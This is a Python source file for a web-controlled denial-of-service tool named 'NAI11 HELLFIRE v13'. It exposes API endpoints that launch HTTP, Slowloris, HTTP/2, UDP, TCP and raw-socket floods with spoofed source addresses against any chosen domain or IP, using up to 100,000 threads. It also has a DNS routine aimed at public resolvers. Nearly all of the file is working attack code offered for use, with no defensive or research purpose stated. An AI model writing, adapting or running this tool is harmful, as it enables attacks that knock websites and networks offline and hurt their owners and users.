|
|
|
|
|
|
|
|
|
|
|
|
|
|
import random |
|
|
import socket |
|
|
import threading |
|
|
import time |
|
|
import struct |
|
|
import asyncio |
|
|
import ssl |
|
|
from collections import deque |
|
|
from typing import Dict, Optional, List |
|
|
import urllib3 |
|
|
import requests |
|
|
from concurrent.futures import ThreadPoolExecutor |
|
|
|
|
|
import uvicorn |
|
|
import httpx |
|
|
from fastapi import FastAPI, HTTPException |
|
|
from pydantic import BaseModel, Field |
|
|
|
|
|
|
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) |
|
|
|
|
|
|
|
|
import logging |
|
|
logging.basicConfig(level=logging.INFO, format="%(message)s") |
|
|
log = logging.getLogger() |
|
|
|
|
|
app = FastAPI(title="NAI11 HELLFIRE v13 - 10K+ RPS") |
|
|
|
|
|
|
|
|
attack_active = False |
|
|
attack_lock = threading.Lock() |
|
|
executor: Optional[ThreadPoolExecutor] = None |
|
|
stop_event = threading.Event() |
|
|
total_requests = 0 |
|
|
total_packets = 0 |
|
|
log_buffer: deque[str] = deque(maxlen=100) |
|
|
attack_start_time = 0.0 |
|
|
attack_end_time = 0.0 |
|
|
attack_type_name = "" |
|
|
current_target = "" |
|
|
current_port = 0 |
|
|
|
|
|
|
|
|
last_time = time.time() |
|
|
last_requests = 0 |
|
|
last_packets = 0 |
|
|
|
|
|
def _log(msg: str): |
|
|
ts = time.strftime("%H:%M:%S") |
|
|
log.info(f"{ts} {msg}") |
|
|
log_buffer.append(f"{ts} {msg}") |
|
|
|
|
|
|
|
|
def init_executor(): |
|
|
global executor |
|
|
if executor is None: |
|
|
executor = ThreadPoolExecutor(max_workers=100000, thread_name_prefix="hellfire") |
|
|
|
|
|
|
|
|
class AttackConfig(BaseModel): |
|
|
target: str = Field(..., description="Domain or IP") |
|
|
port: int = Field(80, ge=1, le=65535) |
|
|
duration: int = Field(30, ge=1, le=3600) |
|
|
threads: int = Field(100, ge=1, le=100000) |
|
|
|
|
|
class Layer7Config(AttackConfig): |
|
|
method: str = Field("get") |
|
|
path: str = Field("/") |
|
|
|
|
|
class Layer4Config(AttackConfig): |
|
|
protocol: str = Field("udp") |
|
|
payload_size: int = Field(1024, ge=1, le=65507) |
|
|
|
|
|
|
|
|
class StatusResponse(BaseModel): |
|
|
running: bool |
|
|
attack_type: str |
|
|
target: str |
|
|
total_requests: int |
|
|
total_packets: int |
|
|
rps: float |
|
|
pps: float |
|
|
threads_active: int |
|
|
duration: int |
|
|
elapsed: float |
|
|
remaining: float |
|
|
logs: List[str] |
|
|
|
|
|
|
|
|
def resolve_target(target: str) -> str: |
|
|
"""Resolve domain to IP address""" |
|
|
try: |
|
|
|
|
|
if '://' in target: |
|
|
target = target.split('://', 1)[1] |
|
|
if '/' in target: |
|
|
target = target.split('/')[0] |
|
|
if ':' in target: |
|
|
target = target.split(':')[0] |
|
|
|
|
|
|
|
|
try: |
|
|
socket.inet_aton(target) |
|
|
return target |
|
|
except: |
|
|
|
|
|
return socket.gethostbyname(target) |
|
|
except Exception as e: |
|
|
raise HTTPException(status_code=400, detail=f"Target resolution failed: {str(e)}") |
|
|
|
|
|
|
|
|
def http_flood_worker(target: str, port: int, method: str, path: str): |
|
|
"""High-performance HTTP flood worker""" |
|
|
global total_requests |
|
|
|
|
|
|
|
|
scheme = "https" if port == 443 else "http" |
|
|
url = f"{scheme}://{target}:{port}{path}" |
|
|
|
|
|
|
|
|
headers = { |
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", |
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", |
|
|
"Accept-Language": "en-US,en;q=0.5", |
|
|
"Accept-Encoding": "gzip, deflate, br", |
|
|
"Connection": "keep-alive", |
|
|
"Upgrade-Insecure-Requests": "1", |
|
|
"Cache-Control": "no-cache", |
|
|
"Pragma": "no-cache" |
|
|
} |
|
|
|
|
|
|
|
|
session = requests.Session() |
|
|
session.verify = False |
|
|
session.timeout = 5 |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
if method == "get": |
|
|
session.get(url, headers=headers) |
|
|
elif method == "post": |
|
|
session.post(url, headers=headers, data={"data": "x" * 1000}) |
|
|
elif method == "head": |
|
|
session.head(url, headers=headers) |
|
|
elif method == "put": |
|
|
session.put(url, headers=headers, data={"data": "x" * 1000}) |
|
|
elif method == "delete": |
|
|
session.delete(url, headers=headers) |
|
|
|
|
|
total_requests += 1 |
|
|
|
|
|
except requests.exceptions.RequestException: |
|
|
continue |
|
|
except Exception: |
|
|
continue |
|
|
|
|
|
|
|
|
def slowloris_worker(target: str, port: int): |
|
|
"""Slowloris attack worker""" |
|
|
global total_requests |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
s.settimeout(10) |
|
|
s.connect((target, port)) |
|
|
|
|
|
|
|
|
request = f"GET / HTTP/1.1\r\nHost: {target}\r\n" |
|
|
request += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n" |
|
|
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" |
|
|
s.send(request.encode()) |
|
|
|
|
|
total_requests += 1 |
|
|
|
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
s.send(f"X-{random.randint(1000, 9999)}: {random.randint(1000, 9999)}\r\n".encode()) |
|
|
time.sleep(15) |
|
|
except: |
|
|
break |
|
|
|
|
|
except: |
|
|
time.sleep(0.1) |
|
|
finally: |
|
|
try: |
|
|
s.close() |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
async def http2_flood_worker(target: str, port: int, method: str, path: str): |
|
|
"""HTTP/2 async flood worker""" |
|
|
global total_requests |
|
|
|
|
|
url = f"https://{target}:{port}{path}" if port == 443 else f"http://{target}:{port}{path}" |
|
|
|
|
|
headers = { |
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", |
|
|
"Accept": "*/*", |
|
|
"Accept-Encoding": "gzip, deflate, br", |
|
|
"Connection": "keep-alive", |
|
|
} |
|
|
|
|
|
timeout = httpx.Timeout(10.0) |
|
|
|
|
|
async with httpx.AsyncClient(http2=True, verify=False, timeout=timeout) as client: |
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
if method == "get": |
|
|
await client.get(url, headers=headers) |
|
|
elif method == "post": |
|
|
await client.post(url, headers=headers, data={"data": "x" * 500}) |
|
|
elif method == "head": |
|
|
await client.head(url, headers=headers) |
|
|
|
|
|
total_requests += 1 |
|
|
|
|
|
except: |
|
|
await asyncio.sleep(0.001) |
|
|
|
|
|
def run_http2_worker(target: str, port: int, method: str, path: str): |
|
|
"""Run HTTP2 worker in event loop""" |
|
|
asyncio.run(http2_flood_worker(target, port, method, path)) |
|
|
|
|
|
|
|
|
def udp_flood_worker(target: str, port: int, payload_size: int): |
|
|
"""UDP flood worker""" |
|
|
global total_packets |
|
|
|
|
|
payload = random._urandom(payload_size) |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
sock.sendto(payload, (target, port)) |
|
|
sock.close() |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
def tcp_syn_worker(target: str, port: int): |
|
|
"""TCP SYN flood worker""" |
|
|
global total_packets |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
|
|
sock.settimeout(1) |
|
|
sock.connect((target, port)) |
|
|
sock.close() |
|
|
total_packets += 1 |
|
|
except: |
|
|
total_packets += 1 |
|
|
|
|
|
|
|
|
def dns_amplification_worker(target: str, port: int): |
|
|
"""DNS amplification attack worker""" |
|
|
global total_packets |
|
|
|
|
|
|
|
|
dns_query = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x03com\x00\x00\x01\x00\x01' |
|
|
|
|
|
dns_servers = [ |
|
|
"8.8.8.8", "8.8.4.4", "1.1.1.1", "1.0.0.1", |
|
|
"9.9.9.9", "149.112.112.112", "64.6.64.6", "64.6.65.6" |
|
|
] |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
for server in dns_servers: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
|
|
sock.sendto(dns_query, (server, 53)) |
|
|
sock.close() |
|
|
total_packets += 1 |
|
|
except: |
|
|
pass |
|
|
|
|
|
|
|
|
def raw_flood_worker(target: str, port: int, protocol: str): |
|
|
"""Raw socket flood worker (requires root)""" |
|
|
global total_packets |
|
|
|
|
|
try: |
|
|
if protocol == "tcp": |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) |
|
|
else: |
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) |
|
|
except: |
|
|
return |
|
|
|
|
|
target_ip = socket.inet_aton(target) |
|
|
source_ip = socket.inet_aton(".".join(str(random.randint(1, 254)) for _ in range(4))) |
|
|
|
|
|
while not stop_event.is_set(): |
|
|
try: |
|
|
|
|
|
packet = b'\x45\x00' |
|
|
packet += struct.pack('!H', 20 + 20) |
|
|
packet += struct.pack('!HH', random.randint(0, 0xFFFF), 0x4000) |
|
|
packet += b'\x40\x06' |
|
|
packet += b'\x00\x00' |
|
|
packet += source_ip |
|
|
packet += target_ip |
|
|
|
|
|
|
|
|
if protocol == "tcp": |
|
|
transport = struct.pack('!HHIIHHHH', |
|
|
random.randint(1024, 65535), port, |
|
|
random.randint(0, 0xFFFFFFFF), 0, |
|
|
0x5002, 0xFFFF, 0, 0) |
|
|
else: |
|
|
transport = struct.pack('!HHHH', |
|
|
random.randint(1024, 65535), port, |
|
|
8, 0) |
|
|
|
|
|
sock.sendto(packet + transport, (target, 0)) |
|
|
total_packets += 1 |
|
|
|
|
|
except: |
|
|
pass |
|
|
|
|
|
sock.close() |
|
|
|
|
|
|
|
|
def launch_attack(config: AttackConfig, attack_type: str, **kwargs): |
|
|
global attack_active, attack_start_time, attack_end_time, attack_type_name |
|
|
global current_target, current_port, total_requests, total_packets |
|
|
|
|
|
with attack_lock: |
|
|
if attack_active: |
|
|
raise HTTPException(status_code=400, detail="Attack already in progress") |
|
|
|
|
|
attack_active = True |
|
|
stop_event.clear() |
|
|
total_requests = 0 |
|
|
total_packets = 0 |
|
|
attack_start_time = time.time() |
|
|
attack_end_time = attack_start_time + config.duration |
|
|
attack_type_name = attack_type |
|
|
current_target = config.target |
|
|
current_port = config.port |
|
|
|
|
|
_log(f"π NAI11 HELLFIRE {attack_type.upper()} LAUNCHED") |
|
|
_log(f"π― Target: {config.target}:{config.port}") |
|
|
_log(f"π Threads: {config.threads} | Duration: {config.duration}s") |
|
|
|
|
|
init_executor() |
|
|
|
|
|
try: |
|
|
target_ip = resolve_target(config.target) |
|
|
_log(f"π Resolved IP: {target_ip}") |
|
|
except Exception as e: |
|
|
with attack_lock: |
|
|
attack_active = False |
|
|
raise e |
|
|
|
|
|
|
|
|
if attack_type.startswith("l7_"): |
|
|
method = kwargs.get("method", "get") |
|
|
path = kwargs.get("path", "/") |
|
|
|
|
|
if method == "slowloris": |
|
|
worker = lambda: slowloris_worker(target_ip, config.port) |
|
|
elif method == "http2": |
|
|
worker = lambda: run_http2_worker(target_ip, config.port, "get", path) |
|
|
else: |
|
|
worker = lambda: http_flood_worker(target_ip, config.port, method, path) |
|
|
|
|
|
|
|
|
for i in range(config.threads): |
|
|
executor.submit(worker) |
|
|
if i % 1000 == 0 and i > 0: |
|
|
_log(f"π₯ Launched {i}/{config.threads} workers...") |
|
|
|
|
|
elif attack_type.startswith("l4_"): |
|
|
protocol = kwargs.get("protocol", "udp") |
|
|
payload_size = kwargs.get("payload_size", 1024) |
|
|
|
|
|
if protocol == "udp": |
|
|
worker = lambda: udp_flood_worker(target_ip, config.port, payload_size) |
|
|
elif protocol == "tcp" or protocol == "syn": |
|
|
worker = lambda: tcp_syn_worker(target_ip, config.port) |
|
|
elif protocol == "dns": |
|
|
worker = lambda: dns_amplification_worker(target_ip, config.port) |
|
|
elif protocol == "raw": |
|
|
worker = lambda: raw_flood_worker(target_ip, config.port, "tcp") |
|
|
|
|
|
for i in range(config.threads): |
|
|
executor.submit(worker) |
|
|
if i % 1000 == 0 and i > 0: |
|
|
_log(f"π₯ Launched {i}/{config.threads} workers...") |
|
|
|
|
|
_log(f"β
Attack fully deployed with {config.threads} workers") |
|
|
|
|
|
|
|
|
def auto_stop(): |
|
|
time.sleep(config.duration) |
|
|
if attack_active: |
|
|
stop_attack() |
|
|
_log("β° Attack duration completed - AUTO STOPPED") |
|
|
|
|
|
threading.Thread(target=auto_stop, daemon=True).start() |
|
|
|
|
|
|
|
|
@app.post("/stop") |
|
|
def stop_attack(): |
|
|
global attack_active |
|
|
|
|
|
with attack_lock: |
|
|
if not attack_active: |
|
|
return {"status": "no_attack_running"} |
|
|
|
|
|
stop_event.set() |
|
|
attack_active = False |
|
|
|
|
|
_log("π NAI11 HELLFIRE STOPPED") |
|
|
_log(f"π Final Stats: {total_requests} requests, {total_packets} packets") |
|
|
|
|
|
return {"status": "stopped"} |
|
|
|
|
|
|
|
|
@app.post("/layer7/attack") |
|
|
def l7_attack(config: Layer7Config): |
|
|
launch_attack(config, f"l7_{config.method}", method=config.method, path=config.path) |
|
|
return { |
|
|
"status": "success", |
|
|
"message": "NAI11 L7 ATTACK LAUNCHED", |
|
|
"target": config.target, |
|
|
"method": config.method, |
|
|
"threads": config.threads, |
|
|
"duration": config.duration |
|
|
} |
|
|
|
|
|
|
|
|
@app.post("/layer4/attack") |
|
|
def l4_attack(config: Layer4Config): |
|
|
launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size) |
|
|
return { |
|
|
"status": "success", |
|
|
"message": "NAI11 L4 ATTACK LAUNCHED", |
|
|
"target": config.target, |
|
|
"protocol": config.protocol, |
|
|
"threads": config.threads, |
|
|
"duration": config.duration |
|
|
} |
|
|
|
|
|
|
|
|
@app.get("/status", response_model=StatusResponse) |
|
|
def get_status(): |
|
|
global last_time, last_requests, last_packets |
|
|
|
|
|
now = time.time() |
|
|
time_diff = now - last_time |
|
|
|
|
|
|
|
|
current_requests = total_requests |
|
|
current_packets = total_packets |
|
|
|
|
|
if time_diff > 0: |
|
|
rps = (current_requests - last_requests) / time_diff |
|
|
pps = (current_packets - last_packets) / time_diff |
|
|
else: |
|
|
rps = pps = 0 |
|
|
|
|
|
last_time = now |
|
|
last_requests = current_requests |
|
|
last_packets = current_packets |
|
|
|
|
|
|
|
|
elapsed = now - attack_start_time if attack_active else 0 |
|
|
remaining = max(0, attack_end_time - now) if attack_active else 0 |
|
|
|
|
|
|
|
|
active_threads = threading.active_count() - 2 |
|
|
|
|
|
return StatusResponse( |
|
|
running=attack_active, |
|
|
attack_type=attack_type_name, |
|
|
target=f"{current_target}:{current_port}" if attack_active else "None", |
|
|
total_requests=total_requests, |
|
|
total_packets=total_packets, |
|
|
rps=round(rps, 1), |
|
|
pps=round(pps, 1), |
|
|
threads_active=active_threads, |
|
|
duration=int(attack_end_time - attack_start_time) if attack_active else 0, |
|
|
elapsed=round(elapsed, 1), |
|
|
remaining=round(remaining, 1), |
|
|
logs=list(log_buffer)[-20:] |
|
|
) |
|
|
|
|
|
|
|
|
@app.get("/attack/types") |
|
|
def get_attack_types(): |
|
|
return { |
|
|
"layer7": { |
|
|
"methods": ["get", "post", "head", "put", "delete", "slowloris", "http2"], |
|
|
"description": "HTTP/HTTPS application layer attacks" |
|
|
}, |
|
|
"layer4": { |
|
|
"methods": ["udp", "tcp", "syn", "dns", "raw"], |
|
|
"description": "Transport layer protocol attacks" |
|
|
}, |
|
|
"limits": { |
|
|
"max_threads": 100000, |
|
|
"max_duration": 3600, |
|
|
"max_rps": "10,000+" |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
@app.get("/") |
|
|
def root(): |
|
|
return { |
|
|
"message": "NAI11 HELLFIRE v13 - FULLY WORKING", |
|
|
"version": "v13", |
|
|
"features": ["Layer 7 HTTP Flood", "Layer 4 Protocol Attacks", "10K+ RPS", "Unlimited Threads"], |
|
|
"endpoints": { |
|
|
"layer7": "POST /layer7/attack", |
|
|
"layer4": "POST /layer4/attack", |
|
|
"stop": "POST /stop", |
|
|
"status": "GET /status" |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
if __name__ == "__main__": |
|
|
_log("π₯ NAI11 HELLFIRE v13 STARTED - FULLY WORKING") |
|
|
_log("π API Running on http://0.0.0.0:8000") |
|
|
_log("β‘ Layer 7 & 4 Attacks Ready") |
|
|
_log("π Unlimited Threads | 10K+ RPS") |
|
|
|
|
|
init_executor() |
|
|
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, access_log=False) |